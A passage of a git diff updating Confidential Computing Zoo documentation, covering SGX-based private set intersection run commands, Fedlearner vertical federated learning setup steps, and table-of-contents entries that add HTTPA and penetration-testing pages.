data_dir="data2.txt" client_name="data_provider2" +``` + +Each client will return the following intersection result: +```shell +car +cat +train +``` + +In the server container, use Ctrl-C to stop the server process. + +- Three-party: + +server: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/server +gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json +``` + +client1: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider1 +gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=3 data_dir="data1.txt" client_name="data_provider1" +``` + +client2: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider2 +gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data2.txt" client_name="data_provider2" +``` + +client3: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider3 +gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data3.txt" client_name="data_provider3" +``` + +Each client will return the following intersection result: +```shell +car +cat +train +``` + +In the server container, use Ctrl-C to stop the server process. diff --git a/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/index.rst b/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/index.rst index 41968566..f9f8d8b1 100644 --- a/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/index.rst +++ b/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/index.rst @@ -120,6 +120,7 @@ Prerequisites FLC/DCAP. Please follow `this guide `__ to install the Intel SGX driver and SDK/PSW on the machine/VM. Make sure to install the driver with ECDSA/DCAP attestation. + For deployments on Microsoft Azure, a script is provided to install general dependencies, Intel SGX DCAP dependencies, and the Azure DCAP Client. To run this script:: cd /tensorflow-serving diff --git a/documents/readthedoc/docs/source/Solutions/vertical-federated-learning/vfl.md b/documents/readthedoc/docs/source/Solutions/vertical-federated-learning/vfl.md index d087fdf7..5967aa9e 100644 --- a/documents/readthedoc/docs/source/Solutions/vertical-federated-learning/vfl.md +++ b/documents/readthedoc/docs/source/Solutions/vertical-federated-learning/vfl.md @@ -60,24 +60,29 @@ We encrypt models with cryptographic (wrap) key by using Protected-File mode in - Ubuntu 18.04. This solution should work on other Linux distributions as well, but for simplicity we provide the steps for Ubuntu 18.04 only. -- Docker Engine. Docker Engine is an open source containerization technology for building and containerizing your applications. In this solution, Gramine, Fedlearner, gRPC will be built in Docker images. Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script) to install Docker engine. +- Docker Engine. Docker Engine is an open source containerization technology for building and containerizing your applications. In this solution, Gramine, Fedlearner, gRPC will be built in a Docker image. Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script) to install Docker Engine. The Docker daemon's storage location (/var/lib/docker for example) should have at least 32GB available. -- SGX capable platform. Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. Please follow [this guide](https://download.01.org/intel-sgx/latest/linux-latest/docs/) to install the Intel SGX driver and SDK/PSW. One way to verify SGX enabling status in your machine is to run [QuoteGeneration](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteGeneration) and [QuoteVerification](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteVerification) successfully. - -Here, we will demonstrate how to run leader and follower from two containers. +- CCZoo Vertical Federated Learning source package: + ```shell + git clone https://github.com/intel/confidential-computing-zoo.git + ``` +- SGX capable platform. Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. If the Intel SGX driver and SDK/PSW is already installed on your machine/VM, the following steps can be skipped. For example, the following steps are not necessary and can be skipped for Azure deployments. + Please follow [this guide](https://download.01.org/intel-sgx/latest/linux-latest/docs/) to install the Intel SGX driver and SDK/PSW. One way to verify SGX enabling status in your machine is to run [QuoteGeneration](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteGeneration) and [QuoteVerification](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteVerification) successfully. ## Executing Fedlearner in SGX ### 1. Download source code -Download the [Fedlearner source code](https://github.com/bytedance/fedlearner/tree/fix_dev_sgx) which is a git submodule of CCZoo. +Download the [Fedlearner source code](https://github.com/bytedance/fedlearner/tree/fix_dev_sgx): ``` -git submodule init -git submodule update cd cczoo/vertical_fl +git clone -b fix_dev_sgx https://github.com/bytedance/fedlearner.git vertical_fl +cd vertical_fl +git checkout 75e8043 +cd .. ./apply_overlay.sh cd vertical_fl ``` @@ -107,22 +112,11 @@ fedlearner-sgx-dev latest 8c3c7a05f973 45 hours ago 15.2GB Start the leader and follower containers: ``` -docker run -itd \ - --name=fedlearner_leader \ - --restart=unless-stopped \ - -p 50051:50051 \ - --device=/dev/sgx_enclave:/dev/sgx/enclave \ - --device=/dev/sgx_provision:/dev/sgx/provision \ - fedlearner-sgx-dev:latest \ - bash -docker run -itd \ - --name=fedlearner_follower \ - --restart=unless-stopped \ - -p 50052:50052 \ - --device=/dev/sgx_enclave:/dev/sgx/enclave \ - --device=/dev/sgx_provision:/dev/sgx/provision \ - fedlearner-sgx-dev:latest \ - bash +docker run -itd --name=fedlearner_leader --restart=unless-stopped -p 50051:50051 \ + --device=/dev/sgx_enclave:/dev/sgx/enclave --device=/dev/sgx_provision:/dev/sgx/provision fedlearner-sgx-dev:latest bash + +docker run -itd --name=fedlearner_follower --restart=unless-stopped -p 50052:50052 \ + --device=/dev/sgx_enclave:/dev/sgx/enclave --device=/dev/sgx_provision:/dev/sgx/provision fedlearner-sgx-dev:latest bash ``` Take note of the container IP addresses for later steps: @@ -170,6 +164,14 @@ Start the aesm service in both the leader and follower containers: /root/start_aesm_service.sh ``` +Verify the aesm service is running in both the leader and follower containers: + +``` +# ps aux |grep aesm_service +root 35 0.1 0.0 293004 16788 ? Ssl 03:26 0:00 /opt/intel/sgx-aesm-service/aesm/aesm_service +root 44 0.0 0.0 13220 1068 pts/1 S+ 03:26 0:00 grep --color=auto aesm_service +``` + #### 4. Prepare data Generate data in both the leader and follower containers: @@ -223,11 +225,11 @@ dynamic_config.json: #### 6. Run the distributing training -Start the training process in the follower container: +Start the training process in the follower container, replacing XXX.XXX.XXX.XXX with the leader container IP address. For example: ``` cd /gramine/CI-Examples/wide_n_deep -peer_ip=REPLACE_WITH_LEADER_IP_ADDR +peer_ip=XXX.XXX.XXX.XXX ./test-ps-sgx.sh follower $peer_ip ``` @@ -237,11 +239,11 @@ Wait until the follower training process is ready, when the following log is dis 2022-10-12 02:53:47,002 [INFO]: waiting master ready... (fl_logging.py:95) ``` -Start the training process in the leader container: +Start the training process in the leader container, replacing XXX.XXX.XXX.XXX with the follower container IP address. For example: ``` cd /gramine/CI-Examples/wide_n_deep -peer_ip=REPLACE_WITH_FOLLOWER_IP_ADDR +peer_ip=XXX.XXX.XXX.XXX ./test-ps-sgx.sh leader $peer_ip ``` diff --git a/documents/readthedoc/docs/source/index.rst b/documents/readthedoc/docs/source/index.rst index 000d2286..7d6a926e 100644 --- a/documents/readthedoc/docs/source/index.rst +++ b/documents/readthedoc/docs/source/index.rst @@ -37,6 +37,7 @@ Table of Contents Solutions/bigdl-ppml/index.md Solutions/phe_homo_lr/phe_homo_lr.md Solutions/psi/PSI.md + Solutions/httpa/index.md .. toctree:: :maxdepth: 1 @@ -48,7 +49,10 @@ Table of Contents :maxdepth: 1 :caption: Penetration Testing - Pentests/readsecret.md + Pentests/Overview.md + Pentests/unauthorized_access/redis/index.md + Pentests/memory_attack/sgx/key_generator/index.md + Pentests/memory_attack/sgx/confidential_inference/index.md .. toctree:: :maxdepth: 1